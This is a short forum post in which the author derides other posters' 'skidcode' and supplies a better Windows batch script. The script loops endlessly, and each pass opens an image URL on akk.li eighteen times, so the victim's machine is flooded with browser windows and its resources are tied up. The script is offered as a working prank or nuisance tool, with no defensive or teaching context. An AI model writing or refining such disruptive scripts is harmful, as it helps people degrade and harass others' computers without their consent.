Actually, it's better if you don't write this skidcode at all. This type of script has been done a million times, and what both of you have written doesn't show any skill whatsoever. And if I wanted to look anywhere close to being the least bit hq, I would use a For statement to save time repeating your start lines:

Code @echo off >Nul

:x

For /l %%q IN (1,1,18) Do (

Start www.akk.li/pics/anne.jpg

)

goto :x
